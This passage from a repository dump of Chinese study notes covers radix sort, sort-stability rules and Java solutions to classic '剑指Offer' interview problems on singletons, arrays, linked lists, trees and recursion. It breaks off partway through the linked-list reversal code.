\n14,22,28,39,43,55,65,73,81,93\n\n可以看到在个位排序的基础上，百位也排序完成（对于百位相同的数子，如22,28，因为个位已经排序，\n而取出时也保持了排序的稳定性，所以这两个数的位置前后是根据他们个位排序结果决定的）。\n因为原数组元素最高只有百位，原数组也完成了排序过程。\n\n我们现在来看看之前遗留的两个问题：为什么不能用一维数组，\n一定要用二维数组这样的类似桶的结构来存储中间位排序结果？其实之所以要写这个问题，\n是因为我觉得这个问题是理解基数排序的关键。基数排序本身原理很简单，\n但是实现中有两个问题需要考虑：1.怎么保留前一位的排序结果，这个问题用之前提到的排序稳定性可以解决。\n2.怎么关联该位排序结果和原数组元素，二维数组正是为了解决这个问题使用的办法。在计数排序里，\n虽然保留了所有相等的元素的相对位置，但是这些相等的元素在计数排序里实际是没有差别的，\n因此我们可以只保存数组里有多少个这样的元素即可。而基数排序里不同，有些元素虽然在某一位上相同，\n但是他们其他位上很可能不同，如果只保存该位上有多少个5或者多少个6，那关于元素其他位的信息就都丢弃了，\n这样也就没法对这些元素更高位进行排序了。\n\n```java\nprivate static void radixSort(int[] array,int d) {\n    int n=1;//代表位数对应的数：1,10,100...\n    int k=0;//保存每一位排序后的结果用于下一位的排序输入\n    int length=array.length;\n    int[][] bucket=new int[10][length];//排序桶用于保存每次排序后的结果，这一位上排序结果相同的数字放在同一个桶里\n    int[] order=new int[length];//用于保存每个桶里有多少个数字\n    while(n<d) {\n        for(int num:array) //将数组array里的每个数字放在相应的桶里 {\n            int digit=(num/n)%10;\n            bucket[digit][order[digit]]=num;\n            order[digit]++;\n        }\n        //将前一个循环生成的桶里的数据覆盖到原数组中用于保存这一位的排序结果\n        for(int i=0;i<length;i++) {\n            //这个桶里有数据，从上到下遍历这个桶并将数据保存到原数组中\n            if(order[i]!=0) {\n                for(int j=0;j<order[i];j++) {\n                    array[k]=bucket[i][j];\n                    k++;\n                }\n            }\n            order[i]=0;//将桶里计数器置0，用于下一次位排序\n        }\n        n*=10;\n        k=0;//将k置0，用于下一轮保存位排序结果\n    }\n}\npublic static void main(String[] args) {\n    int[] A=new int[]{73,22, 93, 43, 55, 14, 28, 65, 39, 81};\n    radixSort(A, 100);\n    for(int num:A) {\n        System.out.println(num);\n    }\n}\n```\n\n\n总结:   \n\n- 直接插入排序：一般插入排序，比较是从有序序列的最后一个元素开始，如果比它大则直接插入在其后面，否则一直往前比。如果找到一个和插入元素相等的，那么就插入到这个相等元素的后面。插入排序是稳定的。\n- 希尔排序：希尔排序是按照不同步长对元素进行插入排序，一次插入排序是稳定的，不会改变相同元素的相对顺序，但在不同的插入排序过程中，相同的元素可能在各自的插入排序中移动，稳定性就会被破坏，所以希尔排序不稳定。\n- 简单选择排序：在一趟选择，如果当前元素比一个元素小，而该小的元素又出现在一个和当前元素相等的元素后面，那么交换后稳定性就被破坏了。光说可能有点模糊，来看个小实例：858410，第一遍扫描，第1个元素8会和4交换，那么原序列中2个8的相对前后顺序和原序列不一致了，所以选择排序不稳定。\n-堆排序：堆排序的过程是从第`n/2`开始和其子节点共3个值选择最大(大顶堆)或者最小(小顶堆),这3个元素之间的选择当然不会破坏稳定性。但当为`n/2-1`, `n/2-2`, ...这些父节点选择元素时，有可能第`n/2`个父节点交换把后面一个元素交换过去了，而第`n/2-1`个父节点把后面一个相同的元素没有交换，所以堆排序并不稳定。\n- 冒泡排序：由前面的内容可知，冒泡排序是相邻的两个元素比较，交换也发生在这两个元素之间，如果两个元素相等，不用交换。所以冒泡排序稳定。\n- 快速排序：在中枢元素和序列中一个元素交换的时候，很有可能把前面的元素的稳定性打乱。还是看一个小实例：6 4 4 5 4 7 8  9，第一趟排序，中枢元素6和第三个4交换就会把元素4的原序列破坏，所以快速排序不稳定。\n- 归并排序：在分解的子列中，有1个或2个元素时，1个元素不会交换，2个元素如果大小相等也不会交换。在序列合并的过程中，如果两个当前元素相等时，我们把处在前面的序列的元素保存在结果序列的前面，所以，归并排序也是稳定的。\n- 基数排序：是按照低位先排序，然后收集；再按照高位排序，然后再收集；依次类推，直到最高位。有时候有些属性是有优先级顺序的，先按低优先级排序，再按高优先级排序，最后的次序就是高优先级高的在前，高优先级相同的低优先级高的在前。基数排序基于分别排序，分别收集，所以是稳定的。\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/sort_list_compare.png?raw=true)      \n\n\n\t\t\n---\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n\n\t\n"
  },
  {
    "path": "docs/android/AndroidNote/JavaKnowledge/剑指Offer(上).md",
    "content": "剑指Offer(上)\n===\n\n最近面试，遇到一些笔试题，写不上来，内心是崩溃的，该好好复习下了，所以决定仔细做一遍，随便也整理下，方便大家学习。\n\n1. 我没找到第一题是什么- -!,谁知道的给补充下吧\n\n2. 实现单例模式                 \n    单例的实现分为好几种:     \n    - 饿汉式\n\t- 懒汉式\n\t- 枚举              \n\t\n\t具体实现:      \n\t- 饿汉式              \n\n\t\t```java\n\t\tpublic class Singleton {\n\t\t\tprivate Singleton() {\n\t\t\t}\n\n\t\t\tprivate static final Singleton SINGLETON = new Singleton();\n\n\t\t\tpublic static Singleton getInstance() {\n\t\t\t\treturn SINGLETON;\n\t\t\t}\n\t\t}\n\t\t```\n\t- 懒汉式\n\n\t\t```java\n\t\tpublic class Singleton {\n\t\t\tprivate Singleton() {\n\t\t\t}\n\n\t\t\tprivate static Singleton singleton = null;\n\n\t\t\tpublic static Singleton getInstance() {\n\t\t\t\t// 同步会导致效率低，这里采用双重判断的方式来提高效率\n\t\t\t\tif (singleton == null) {\n\t\t\t\t\tsynchronized (Singleton.class) {\n\t\t\t\t\t\tif (singleton == null) {\n\t\t\t\t\t\t\tsingleton = new Singleton();\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn singleton;\n\t\t\t}\n\t\t}\n\t\t```\n\t- 枚举\t\n\n\t    ```java\n\t\tpublic enum Singleton {\n\t\t\tINSTANCE;\n\t\t\tprivate Singleton() {\n\n\t\t\t}\n\t\t}\t\t\n\t\t```\n\t\n\t- 我这里写一种自我感觉是单例最完美的实现方式\n\t　　\n\t\t```java\n\t\tpublic class Singleton {\n\t\t\t// Private constructor prevents instantiation from other classes\n\t\t\tprivate Singleton() { }\n\n\t\t\t/**\n\t\t\t* SingletonHolder is loaded on the first execution of Singleton.getInstance() \n\t\t\t* or the first access to SingletonHolder.INSTANCE, not before.\n\t\t\t*/\n\t\t\tprivate static class SingletonHolder { \n\t\t\t\t\tpublic static final Singleton INSTANCE = new Singleton();\n\t\t\t}\n\t\t\tpublic static Singleton getInstance() {\n\t\t\t\t\treturn SingletonHolder.INSTANCE;\n\t\t\t}\n\t\t}\n\t\t```\n\t\n3. 二维数组中的查找            \n    题目描述：一个二维数组，每一行从左到右递增，每一列从上到下递增．输入一个二维数组和一个整数，判断数组中是否含有整数。\n\t             \n\t分析:     \n\t```\n\t1   6   11\n\t5   9   15\n\t7   13   20\n\t```\n\t\n\t假设我们要找7，那怎么找呢？                \n\t我们先从第一行找，从后往前找，因为他是递增的，先是11，这里11>7所以肯定不是第三列的。这时候我们就找第二列，       \n\t这个值是6,6 < 7,所以我们可以从第二列往下找，这个数可能会再第二列或者第一列。把行数加1，来到第二行第二列的9            \n\t这时候一判断9 > 7，所以不可能是第二列了，这时候把列数再前移，来到第一列，刚才是第二行，所以我们取第一列第二行        \n\t的数，也就是5,5 < 7，所以还要继续往后找，就是把行数加1，就来到了第三行第一列，也就是7，一判断就是他了。         \n\t整体思路就是从右上角开始，逐渐前移列数或者增加行数。          \n\t```java\n\tpublic static boolean find(int[][] array, int number) {\n\t\tif (array == null) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\t// 从第一行最后一列的数开始\n\t\tint column = array[0].length - 1;\n\t\tint row = 0;\n\t\twhile (row < array.length && column >= 0) {\n\t\t\tif (array[row][column] == number) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\t\n\t\t\tif (array[row][column] > number) {\n\t\t\t\t// 如果这个数比要找的数大，那肯定不是这一列了，只能是前一列\n\t\t\t\tcolumn--;\n\t\t\t} else {\n\t\t\t\t// 小的话，那肯定在该数的下面，就要增大行数\n\t\t\t\trow++;\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}\n\t```\n\t\n4. 替换空格            \n    请实现一个函数，把字符串中的每个空格替换成`%20`。              \n\t思路: 很简单，就是判断每个字符是否为空着，但也要注意使用`StringBuilder`会比`StringBuffer`效率稍高。                    \n\t```java\n\tpublic String replaceBlank(String input) {\n\t\tif (input == null) {\n\t\t\treturn null;\n\t\t}\t\n\t\tStringBuilder  sb = new StringBuilder ();\n\t\tfor (int i = 0; i < input.length(); i++) {\n\t\t\tif (input.charAt(i) == ' ') {\n\t\t\t\tsb.append(\"%\");\n\t\t\t\tsb.append(\"2\");\n\t\t\t\tsb.append(\"0\");\n\t\t\t} else {\n\t\t\t\tsb.append(String.valueOf(input.charAt(i)));\n\t\t\t}\n\t\t}\n\t\treturn new String(sb);\n\t}\n\t```\n\t\n5. 从尾到头打印链表            \n    输入一个链表的头结点，从尾到头反过来打印出每个节点的值。            \t\n\t思路: 我们可以从头开始遍历，但是要让先遍历的最后打印，这就是一个吃进去、吐出来的方式，最适合的就是栈.            \n\t- 遍历的方式\n\t```java\n\tpublic class ListNodeTest {\n\t\tpublic static void main(String args[]) {\n\t\t\tListNode node1 = new ListNode();\n\t\t\tListNode node2 = new ListNode();\n\t\t\tListNode node3 = new ListNode();\n\t\t\tnode1.data = 1;\n\t\t\tnode2.data = 2;\n\t\t\tnode3.data = 3;\n\t\t\tnode1.next = node2;\n\t\t\tnode2.next = node3;\n\n\t\t\tListNodeTest.reversePrint(node1);\n\t\t}\n\n\t\tpublic static void reversePrint(ListNode headNode) {\n\t\t\tStack<ListNode> stack = new Stack<ListNode>();\n\t\t\twhile (headNode != null) {\n\t\t\t\t// 遍历，然后用栈来保存\n\t\t\t\tstack.push(headNode);\n\t\t\t\theadNode = headNode.next;\n\t\t\t}\n\t\t\twhile (!stack.isEmpty()) {\n\t\t\t\tSystem.out.println(stack.pop().data);\n\t\t\t}\n\t\t}\n\t}\n\n\tclass ListNode {\n\t\tpublic ListNode() {\n\n\t\t}\n\n\t\tListNode next;\n\t\tint data;\n\t}\n\t```\n\t- 递归\n\t```java\n\tpublic static void printListReverse(ListNode headNode) {\n\t\tif (headNode != null) {\n\t\t\tif (headNode.next != null) {\n\t\t\t\tprintListReverse(headNode.next);\n\t\t\t}\n\t\t\tSystem.out.println(headNode.data);\n\t\t}\n\t}\n\t```\n\t\n6. 重建二叉树\t    \n    输入二叉树的前序遍历和中序遍历的结果，重建出该二叉树。假设前        \n    序遍历和中序遍历结果中都不包含重复的数字，例如输入的前序遍历序列        \n    {1,2,4,7,3,5,6,8}和中序遍历序列{4,7,2,1,5,3,8,6}重建出如图所示的二叉树。          \n\t\t  \n\t![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/binary_offer.png)\t  \n\t思路: 前序遍历序列中，第一个数字总是树的根节点的值。          \n\t中序遍历根节点在序列的中间，左边是左子树，右边是右子树。          \n\t所以我们可以根据前序遍历的第一个值去中旬遍历数组中查找，就能找出来中序的分割点是谁。           \n\t这样在他左边的就都是左子树，右边是右子树。这样也就能知道左子树的个数，再用这个数量去前子树中去前几个数。          \n\t就这样再递归下去排列二级左子树的根节点。          \n\t```java\n\timport java.util.Arrays;\n\n\tpublic class BinaryTree {\n\t\tpublic static void main(String[] args) throws Exception {\n\t\t\tint[] preorder = { 1, 2, 4, 7, 3, 5, 6, 8 };\n\t\t\tint[] inorder = { 4, 7, 2, 1, 5, 3, 8, 6 };\n\t\t\tBinaryTreeNode root = constructCore(preorder, inorder);\n\t\t}\n\n\t\tpublic static BinaryTreeNode constructCore(int[] preorder, int[] inorder)\n\t\t\t\tthrows Exception {\n\t\t\tif (preorder == null || inorder == null) {\n\t\t\t\treturn null;\n\t\t\t}\n\t\t\tif (preorder.length != inorder.length) {\n\t\t\t\tthrow new IllegalArgumentException(\"error params\");\n\t\t\t}\n\t\t\tBinaryTreeNode root = new BinaryTreeNode();\n\t\t\tfor (int i = 0; i < inorder.length; i++) {\n\t\t\t\tif (inorder[i] == preorder[0]) {\n\t\t\t\t\troot.value = inorder[i];\n\t\t\t\t\t// 递归让再去构建左子树的下一个根节点\n\t\t\t\t\troot.leftNode = constructCore(\n\t\t\t\t\t\t\t// 前序遍历从第二个开始后的i个都是左子树的\n\t\t\t\t\t\t\tArrays.copyOfRange(preorder, 1, i + 1),\n\t\t\t\t\t\t\t// 中序遍历最边边这i个也是左子树\n\t\t\t\t\t\t\tArrays.copyOfRange(inorder, 0, i));\n\t\t\t\t\troot.rightNode = constructCore(\n\t\t\t\t\t\t\tArrays.copyOfRange(preorder, i + 1, preorder.length),\n\t\t\t\t\t\t\tArrays.copyOfRange(inorder, i + 1, inorder.length));\n\t\t\t\t}\n\t\t\t\t// 就这样循环递归下去，就OK了。\n\t\t\t}\n\t\t\treturn root;\n\t\t}\n\t}\n\n\tclass BinaryTreeNode {\n\t\tpublic static int value;\n\t\tpublic BinaryTreeNode leftNode;\n\t\tpublic BinaryTreeNode rightNode;\n\t}\n\t```\n\n7. 用两个栈实现队列                      \n    用两个栈实现一个队列，实现队列的两个函数`appendTail`和     \n    `deleteHead`，分别完成在队列尾插入结点和在队列头部删除结点的功能。        \n\t思路： 栈是啥？栈是先进后出，因为栈是一个出口啊，先进入的被压在最下面了，出要从上面开始出，也就是吃了吐出来。         \n\t队列是啥？两头的，就想管道一样，先进先出。不雅的说，就是吃了拉出来。            \n\t队列尾插入节点好说啊，就是在栈中往里放。         \n\t那队列头部删除怎么弄？因为他在栈的最底部啊，你没法直接删他啊，不要忘了，我们是用两个栈来实现。所以自然想到\n\t就是把这个栈中的数据都取出放入到第二个栈中，然后删除第二个栈的最上面的元素就可以了。         \n\t```java\n\tpublic class StackListTest<T> {\n\t\tprivate Stack<T> stack1 = new Stack<T>();\n\t\tprivate Stack<T> stack2 = new Stack<T>();\n\n\t\tpublic void appendTail(T t) {\n\t\t\t// 往栈1中存\n\t\t\tstack1.push(t);\n\t\t}\n\n\t\tpublic T deleteHead() throws Exception {\n\t\t\tif (stack2.isEmpty()) {\n\t\t\t\t// 把栈1的数都放到栈2中\n\t\t\t\twhile (!stack1.isEmpty()) {\n\t\t\t\t\tstack2.push(stack1.pop());\n\t\t\t\t}\n\t\t\t}\n\t\t\t// 转移到栈2后，就相当于把栈1倒序了。\n\t\t\tif (stack2.isEmpty()) {\n\t\t\t\tthrow new Exception(\"队列为空，不能删除\");\n\t\t\t}\n\t\t\t// 直接取栈2中最上层的就可以了。\n\t\t\treturn stack2.pop();\n\t\t}\n\n\t\tpublic static void main(String args[]) throws Exception {\n\t\t\tStackListTest<String> p7 = new StackListTest<String>();\n\t\t\tp7.appendTail(\"1\");\n\t\t\tp7.appendTail(\"2\");\n\t\t\tp7.appendTail(\"3\");\n\t\t\tp7.deleteHead();\n\t\t}\n\t}\n\t```\n\t\n8. \t旋转数组的最小数字               \n    把一个数组最开始的若干个元素搬到数组的末尾，我们称之为数组的        \n    旋转。输入一个递增排序的数组的一个旋转，输出旋转数组的最小元素。例如数      \n    组{3,4,5,1,2}为{1,2,3,4,5}的一个旋转，该数组的最小值为 1.        \n\t\n\t思路: 开始看到这道题，我感觉很简单，就是循环比较下找出最下的就完了，我感觉什么旋转数组都是面试官\n\t放的烟雾弹。后来我发现我错了。旋转数组是有用的。\n\t```java\n\tpublic class FindTest {\n\t\tpublic static void main(String[] args) {\n\t\t\t// int[] array={1,1,1,2,0};\n\t\t\t// int[] array={3,4,5,1,2};\n\t\t\tint[] array = { 1, 0, 1, 1, 1 }; // 这是0，1，1，1，1的旋转\n\t\t\tSystem.out.println(findMinNum(array));\n\t\t}\n\t\n\t\tpublic static Integer findMinNum(int[] array) {\n\t\t\tif (array == null) {\n\t\t\t\treturn null;\n\t\t\t}\n\t\t\tint leftIndex = 0;\n\t\t\tint rightIndex = array.length - 1;\n\t\t\tint mid = 0;\n\t\t\t// 最小的数就在这中间\n\t\t\twhile (array[leftIndex] >= array[rightIndex]) {\n\t\t\t\tif (rightIndex - leftIndex <= 1) {\n\t\t\t\t\t// 这就是最小的了\n\t\t\t\t\tmid = rightIndex;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\t// 去中间的值，类似二分法查找\n\t\t\t\tmid = (leftIndex + rightIndex) / 2;\n\t\t\t\t// 前、中、后三个值都相等的情况，主要就是为了区分0，1，1，1，1这种数值相同的情况\n\t\t\t\tif (array[leftIndex] == array[rightIndex] && array[leftIndex] == array[mid]) {\n\t\t\t\t\t// 把指针在移动一下，不相等就继续变mid的值\n\t\t\t\t\tif (array[leftIndex + 1] != array[rightIndex - 1]) {\n\t\t\t\t\t\tmid = array[leftIndex + 1] < array[rightIndex - 1] ? (leftIndex + 1) : (rightIndex - 1);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tleftIndex++;\n\t\t\t\t\t\trightIndex--;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tif (array[mid] >= array[leftIndex])\n\t\t\t\t\t\tleftIndex = mid;\n\t\t\t\t\telse {\n\t\t\t\t\t\tif (array[mid] <= array[rightIndex])\n\t\t\t\t\t\t\trightIndex = mid;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn array[mid];\n\t\t\t}\n\t\t\treturn null;\n\t\t}\n\t}\n    ```\n9. 斐波那契数列\t     \n    什么是斐波那契数列呢？ 就是f(0)=0;f(1)=1;f(n)=f(n-1)+f(n-2);           \n    写一个函数，输入n，求斐波那契数列的第n项。           \n    思路:标准的一个递归。\n    ```java\n\tpublic long fibonacci1(int n) {\n\t\tif (n == 0) {\n\t\t\treturn 0;\n\t\t}\n\t\t\n\t\tif (n == 1) {\n\t\t\treturn 1;\n\t\t}\n\t\t\n\t\treturn fibonacci1(n-1) + fibonacci1(n-2);\n\t}\n    ```\n    貌似很合理，但其实也是有问题的，这样会导致重复计算，例如我们在算f(10)，需要先求出f(9)和f(8)，而算f(9)又要求出f(8)和f(7)，很显然重复了。显然面试官不会满意的。那该怎么做呢？ 那就是累加。 \n    ```java\n\tpublic class Fibonacci {\n\t\tpublic static long fibonacci(int n) {\n\t\t\tlong result = 0;\n\t\t\tlong preOne = 0;\n\t\t\tlong preTwo = 1;\n\t\t\tif (n == 0) {\n\t\t\t\treturn preOne;\n\t\t\t}\n\t\t\tif (n == 1) {\n\t\t\t\treturn preTwo;\n\t\t\t}\n\t\t\tfor (int i = 2; i <= n; i++) {\n\t\t\t\tresult = preOne + preTwo;\n\t\t\t\tpreOne = preTwo;\n\t\t\t\tpreTwo = result;\n\t\t\t}\n\t\t\treturn result;\n\t\t}\n\t}\n\t```\n10. 2进制中1的个数               \n    请实现一个函数,输入一个整数,输出该数二进制表示中 1 的个数。例如 把 9 表示成二进制是 1001;有 2 位是 1,因此如果输入 9,函数输出 2.      \n    思路: 把一个整数减去1，再和原整数做与运算，会把该整数最右边的一个1变成0.那么一个整数的二进制表示中有多少个1，就可以进行多少次运算。       \n    ```java\n\tpublic int numberOf1(int n) {\n\t\tint count = 0;\n\t\twhile (n != 0) {\n\t\t\tcount++;\n\t\t\tn = (n - 1) & n;\n\t\t}\n\t\treturn count;\n\t}\n    ```\n    \n11. 数值的整数次方           \n    实现函数double Power(double base,int exponent),求base的exponent次方。不得使用库函数，同时不需要考虑大数问题。        \n    思路:就是不断的累计去乘.            \n    ```java\n    public double powerWithExponent(double base, int exponent) {\n\t\tdouble result = 1.0;\n\t\tfor (int i = 1; i <= exponent; i++) {\n\t\t\tresult = result * base;\n\t\t}\n\t\treturn result;\n\t}\n    ```\n    本来想着挺简单，其实已经写错了。因为exponent如果是0或者负数呢？         \n    思路：当指数为负数的时候，可以先对指数求绝对值，然后算出次方的结果之后再取倒数。既然有求倒数，我们很自然的就要想到有没有可能对0求倒数，如果对0求倒数怎么办？当底数base是零且指数是负数的时候，我们不做特殊的处理，就会发现对0求倒数从而导致程序运行出错。怎么告诉函数的调用者出现了这种错误？在Java中可以抛出异常来解决。\n    ```java\n    public static double power(double base, int exponent) throws Exception {\n\t\tdouble result = 0.0;\n\t\t// 如果是求0的负数次幂\n\t\tif (equal(base, 0.0) && exponent < 0) {\n\t\t\tthrow new Exception(\"0的负数次幂没有意义\");\n\t\t}\n\t\tif (exponent < 0) {\n\t\t\t// 负数次幂，先取绝对值算出次方后再求倒数\n\t\t\tresult = 1.0 / powerWithExpoment(base, -exponent);\n\t\t} else {\n\t\t\tresult = powerWithExpoment(base, exponent);\n\t\t}\n\t\treturn result;\n\t}\n\n\tprivate static double powerWithExpoment(double base, int exponent) {\n\t\tif (exponent == 0) {\n\t\t\treturn 1;\n\t\t}\n\t\tif (exponent == 1) {\n\t\t\treturn base;\n\t\t}\n\t\tdouble result = 1.0;\n\t\tfor (int i = 1; i <= exponent; i++) {\n\t\t\tresult = result * base;\n\t\t}\n\t\treturn result;\n\t}\n\n\t/**\n\t * 判断两个double数据是否相等\n\t * @param num1\n\t * @param num2\n\t * @return\n\t */\n\tprivate static boolean equal(double num1, double num2) {\n\t\tif ((num1 - num2 > -0.0000001) && num1 - num2 < 0.0000001) {\n\t\t\treturn true;\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\n\t}\n    ```\n12. 打印 1 到最大的 n 位数            \n    输入数字n，按顺序打印出从1最大的的n位数十进制数。比如输入3，则打印出1，2，3一直到最大的3位数即999.           \n    思路: 1位数就是`10-1`，两位数就是`10*10-1`三位数就是`10*10*10-1`              \n    \n    ```java\n    public void print1ToMaxOfNDigits(int n) {\n\t\tint number = 1;\n\t\tint i = 0;\n\t\twhile (i++ < n) {\n\t\t\tnumber *= 10;\n\t\t}\n\t\tfor (int j = 1; j < number; ++j)\n\t\t\tSystem.out.println(j);\n\t}\n    ```\n    感觉挺简单，其实已经错了。因为没有规定n的值，如果很大的话，显然会超过int型的最大值。我们很自然的想到解决这个问题需要一个大数。最常用的也是最容易的用字符串或者数组表达大数。接下来我们用数组来解决大数问题。\n    思路:每一位数都是0到9，这样弄一个数组，数组的长度就是n，每一位都是0-9，这样，循环去打印数组就可以了\n    ```java\n\tpublic static void main(String[] args) {\n\t\tprintToMaxOfNDigits(2);\n\t}\n\n\tpublic static void printToMaxOfNDigits(int n) {\n\t\tint[] array = new int[n];\n\t\tif (n <= 0)\n\t\t\treturn;\n\t\tprintArray(array, 0);\n\t}\n\n\tprivate static void printArray(int[] array, int n) {\n\t\t// 每一位都是0-9\n\t\tfor (int i = 0; i < 10; i++) {\n\t\t\tif (n != array.length) {\n\t\t\t\tarray[n] = i;\n\t\t\t\t// 递归弄另一位\n\t\t\t\tprintArray(array, n + 1);\n\t\t\t} else {\n\t\t\t\tboolean isFirstNo0 = false;\n\t\t\t\tfor (int j = 0; j < array.length; j++) {\n\t\t\t\t\tif (array[j] != 0) {\n\t\t\t\t\t\tSystem.out.print(array[j]);\n\t\t\t\t\t\tif (!isFirstNo0) {\n\t\t\t\t\t\t\tisFirstNo0 = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif (isFirstNo0) {\n\t\t\t\t\t\t\t// 10 20 这种后位是0的\n\t\t\t\t\t\t\tSystem.out.print(array[j]);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tSystem.out.println();\n\t\t\t\t// 打印完就return\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t}\n\t```\n\n13. 在O(1)时间删除链表节点            \n    给定单向链表的头指针和一个节点指针，定义一个函数在O(1)时间删除该节点。          \n    思路：在单向链表中删除一个节点，最常规的方法无疑是从链表的头结点开始，顺序遍历查找要删除的节点，并在链表中删除该节点。删除就是将这个要被删除的节点的前一节点设置成该要被删除节点的下一节点。- -！ \n    ```java\n    public class DeleteListNodeTest {\n\t\tpublic static void main(String[] args) {\n\t\t\tListNode head = new ListNode();\n\t\t\tListNode second = new ListNode();\n\t\t\tListNode third = new ListNode();\n\t\t\thead.nextNode = second;\n\t\t\tsecond.nextNode = third;\n\t\t\thead.data = 1;\n\t\t\tsecond.data = 2;\n\t\t\tthird.data = 3;\n\t\t\tdeleteNode(head, second);\n\t\t\tSystem.out.println(head.nextNode.data);\n\t\t}\n\t\n\t\t/**\n\t\t * \n\t\t * @param head\n\t\t *            头结点\n\t\t * @param deListNode\n\t\t *            将被删除的节点\n\t\t */\n\t\tpublic static void deleteNode(ListNode head, ListNode deListNode) {\n\t\t\tif (deListNode == null || head == null) {\n\t\t\t\treturn;\n\t\t\t}\n\t\n\t\t\tif (head == deListNode) {\n\t\t\t\t// 要删除的这个节点正好是头节点\n\t\t\t\thead = null;\n\t\t\t} else if (deListNode.nextNode == null) {\n\t\t\t\t// 要删除的这个节点正好是最后一个节点\n\t\t\t\tListNode pointListNode = head;\n\t\t\t\twhile (pointListNode.nextNode.nextNode != null) {\n\t\t\t\t\tpointListNode = pointListNode.nextNode;\n\t\t\t\t}\n\t\t\t\tpointListNode.nextNode = null;\n\t\t\t} else {\n\t\t\t\t// 要删除的节点是中间的节点，直接把该节点的值和next指向下一个节点就可以。\n\t\t\t\tdeListNode.data = deListNode.nextNode.data;\n\t\t\t\tdeListNode.nextNode = deListNode.nextNode.nextNode;\n\t\t\t}\n\t\t}\n\t}\n\t\n\tclass ListNode {\n\t\tint data;\n\t\tListNode nextNode;\n\t}\n    ```\n14. 调整数组顺序使奇数位于偶数前面              \n    输入一个整数数组，实现一个函数来调整该函数数组中数字的顺序，使得\n所有奇数位于数组的前半部分，所有偶数位于数组的后半部分。\n    思路: 维护两个指针，一个指向第一个元素，一个指向最后一个元素，然后通过指针的移动，来判断当前元素是奇数还是偶数，来交换位置。　　　\n\t```java\n\tpublic static void order(int[] array) {\n\t\tif (array == null || array.length == 0) {\n\t\t\treturn;\n\t\t}\n\t\tint start = 0;\n\t\tint end = array.length - 1;\n\t\twhile (start < end) {\n\t\t\twhile (start < end && !isEven(array[start])) {\n\t\t\t\t// 如果当前位置是奇数，就下移指针\n\t\t\t\tstart++;\n\t\t\t}\n\t\t\twhile (start < end && isEven(array[end])) {\n\t\t\t\t// 第二个指针如果当前位置是偶数，就向前移动指针\n\t\t\t\tend--;\n\t\t\t}\n\t\t\tif (start < end) {\n\t\t\t    // 说明第一个指针指向的是偶数，第二个指针指向的是奇数，我们来更换他俩的位置。\n\t\t\t\tint temp = array[start];\n\t\t\t\tarray[start] = array[end];\n\t\t\t\tarray[end] = temp;\n\t\t\t}\n\t\t}\n\t}\n\n\tprivate static boolean isEven(int n) {\n\t\treturn n % 2 == 0;\n\t}\n\t```\n\t\n15. 链表中倒数第K个结点            \n    输入一个链表，输出该链表中倒数第`k`个结点。   \n    思路: 拿到倒数第k个节点，我们只需要知道该链表的总长度，然后我们从头开始遍历渠道第`totalLength-k`个就是了。如何拿到总长度，也简单就是遍历一遍就知道了。\n\t但是这样会牵扯到两次遍历，效率比较低。那怎么处理呢？也是使用两个指针，我们要保证第一个指针走到链表最后一个位置(totalLength)的时候，第二个指针正好指向倒数第`k`个节点(\n\t也就是从头开始第`totalLength-k+1个`)，那这两个指针之间差多少呢？`totalLength-(totalLength-k+1)`也就是`k-1`个位置，所以让第一个指针移动到第`k-1`个位置后，就让第二个指针\n\t开始移动，这样等第一个移动到最后一个元素的时候，第二个正好指向了倒数第`k`个元素。\n\t```java\n\tpublic class ListNodeTailText {\n\t\tpublic static void main(String[] args) {\n\t\t\tListNode node1 = new ListNode();\n\t\t\tListNode node2 = new ListNode();\n\t\t\tListNode node3 = new ListNode();\n\t\t\tListNode node4 = new ListNode();\n\t\t\tnode1.nextNode = node2;\n\t\t\tnode2.nextNode = node3;\n\t\t\tnode3.nextNode = node4;\n\t\t\tnode1.data = 1;\n\t\t\tnode2.data = 2;\n\t\t\tnode3.data = 3;\n\t\t\tnode4.data = 4;\n\t\t\tListNode resultListNode = findKToTail(node1, 3);\n\t\t\tSystem.out.println(resultListNode.data);\n\t\t}\n\n\t\tpublic static ListNode findKToTail(ListNode head, int k) {\n\t\t\tif (head == null || k == 0) {\n\t\t\t\treturn null;\n\t\t\t}\n\t\t\tListNode firstIndex = head;\n\t\t\tListNode secondIndex = head;\n\t\t\tfor (int i = 0; i < k; ++i) {\n\t\t\t\tif (firstIndex.nextNode != null) {\n\t\t\t\t\tfirstIndex = firstIndex.nextNode;\n\t\t\t\t} else {\n\t\t\t\t\treturn null;\n\t\t\t\t}\n\t\t\t}\n\t\t\twhile (firstIndex != null) {\n\t\t\t\tsecondIndex = secondIndex.nextNode;\n\t\t\t\tfirstIndex = firstIndex.nextNode;\n\t\t\t}\n\t\t\treturn secondIndex;\n\t\t}\n\t}\n\n\tclass ListNode {\n\t\tint data;\n\t\tListNode nextNode;\n\t}\n\t```\n16. 反转链表           \n    定义一个函数，输入一个链表的头结点，反转该链表并输出反转后链表的头结点。       \n\t思路:反转链表问的比较多，整体的思路就是从后往前来，这个问题我也是花了很长时间才弄明白，太笨了。\n    也有两种方式：递归和普通的方式        \n\n    ```java\n    public class LinkedListDemo {\n    \tpublic static void main(String[] args) {\n    \t\tListNode head = new ListNode();\n    \t\tListNode second = new ListNode();\n    \t\tListNode third = new ListNode();\n    \t\tListNode forth = new ListNode();\n    \t\thead.nextNode = second;\n    \t\tsecond.nextNode = third;\n    \t\tthird.nextNode = forth;\n    \t\thead.data = 1;\n    \t\tsecond.data = 2;\n    \t\tthird.data = 3;\n    \t\tforth.data = 4;\n    \t\tListNode resultListNode = reverse1(head);\n    \t\tSystem.out.println(resultListNode.data);\n    \t}\n    \n    